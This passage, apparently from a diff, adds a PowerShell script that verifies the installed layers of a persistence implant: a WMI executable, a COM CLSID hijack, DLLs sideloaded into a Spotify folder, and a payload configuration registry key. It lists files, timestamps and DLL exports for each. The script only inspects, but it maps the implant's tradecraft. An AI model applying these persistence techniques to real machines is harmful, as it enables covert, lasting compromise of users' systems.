"[-] WMI Executable Not Found: $wmiExePath" -ForegroundColor Yellow +} + +# ================================================================================================== +# LAYER 2 - COM HIJACK +# ================================================================================================== +Write-Host "`n[*] Verifying Layer 2 - DLL COM Hijack..." -ForegroundColor DarkCyan + +if (Test-Path $comClsidKey) { + Write-Host "[+] COM CLSID Key Found: $comClsidKey" -ForegroundColor Green + $inprocKey = "$comClsidKey\InProcServer32" + if (Test-Path $inprocKey) { + $dllPath = (Get-ItemProperty -Path $inprocKey).'(default)' + $threadingModel = (Get-ItemProperty -Path $inprocKey).ThreadingModel + Write-Host " Default: $dllPath" -ForegroundColor Gray + Write-Host " ThreadingModel: $threadingModel" -ForegroundColor Gray + } +} else { + Write-Host "[-] COM CLSID Key Not Found" -ForegroundColor Yellow +} + +if (Test-Path $comDllDir) { + Write-Host "[+] COM DLL Directory Found: $comDllDir" -ForegroundColor Green + Get-ChildItem -Path $comDllDir -Recurse | ForEach-Object { + Write-Host " $($_.FullName) [$([math]::Round($_.Length / 1KB, 1)) KB]" -ForegroundColor Gray + Write-Host " CreationTime: $($_.CreationTime)" -ForegroundColor DarkGray + Write-Host " LastWriteTime: $($_.LastWriteTime)" -ForegroundColor DarkGray + + if ($dumpbin -and ($_.Name -eq $comPayloadDll -or $_.Name -eq $comForwardDll)) { + Write-Host " Exports:" -ForegroundColor DarkGray + & $dumpbin /exports $_.FullName 2>$null | + Where-Object { $_ -match "^\s+\d+\s" } | + ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray } + } + } +} else { + Write-Host "[-] COM DLL Directory Not Found: $comDllDir" -ForegroundColor Yellow +} + +# ================================================================================================== +# LAYER 3 - DLL SIDELOAD +# ================================================================================================== +Write-Host "`n[*] Verifying Layer 3 - DLL Sideload..." -ForegroundColor DarkCyan + +foreach ($dll in @($sideloadDll, $forwardDll)) { + $fullPath = "$spotifyDir\$dll" + if (Test-Path $fullPath) { + $file = Get-Item $fullPath + Write-Host "[+] Found: $fullPath [$([math]::Round($file.Length / 1KB, 1)) KB]" -ForegroundColor Green + Write-Host " CreationTime: $($file.CreationTime)" -ForegroundColor DarkGray + Write-Host " LastWriteTime: $($file.LastWriteTime)" -ForegroundColor DarkGray + + if ($dumpbin) { + Write-Host " Exports:" -ForegroundColor DarkGray + & $dumpbin /exports $fullPath 2>$null | + Where-Object { $_ -match "^\s+\d+\s" } | + ForEach-Object { Write-Host " $_" -ForegroundColor DarkGray } + } + } else { + Write-Host "[-] Not Found: $fullPath" -ForegroundColor Yellow + } +} + +# ================================================================================================== +# PAYLOAD CONFIGURATION +# ================================================================================================== +Write-Host "`n[*] Verifying Payload Configuration..." -ForegroundColor DarkCyan + +if (Test-Path $configKey) { + Write-Host "[+] Configuration Registry Key Found: $configKey" -ForegroundColor Green + Get-ItemProperty -Path $configKey | Select-Object -Property * -ExcludeProperty PS* | ForEach-Object { + $_.PSObject.Properties | ForEach-Object { + Write-Host " $($_.Name): $($_.Value) [0x$($_.Value.ToString('X8'))]" -ForegroundColor Gray + } + } +} else { + Write-Host "[-] Configuration Registry Key Not Found: $configKey" -ForegroundColor Yellow +} + +Write-Host "`n[+] Verification Complete" -ForegroundColor DarkCyan \ No newline at end of file